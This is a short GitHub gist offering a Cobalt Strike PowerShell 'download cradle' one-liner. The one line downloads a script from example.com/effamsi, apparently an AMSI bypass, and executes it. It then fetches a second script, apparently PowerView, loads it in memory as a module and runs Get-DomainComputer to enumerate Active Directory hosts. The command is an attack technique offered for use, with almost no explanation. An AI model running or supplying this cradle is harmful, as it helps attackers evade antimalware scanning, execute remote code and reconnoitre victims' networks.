Skip to content

Instantly share code, notes, and snippets.

@natesubra
Created January 19, 2024 20:54
Show Gist options
  • Save natesubra/44a9933969c179d350fa20010fc61f68 to your computer and use it in GitHub Desktop.
Save natesubra/44a9933969c179d350fa20010fc61f68 to your computer and use it in GitHub Desktop.
Cobalt Strike - Download cradle alternative
run powershell $am = Invoke-RestMethod \"https://www.example.com/effamsi\"; . ($am); $content = Invoke-RestMethod \"https://www.example.com/pv\"; $scriptblock = [scriptblock]::Create(\"$content\"); $mod = New-Module -ScriptBlock $scriptblock; Import-Module $mod; Get-DomainComputer
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment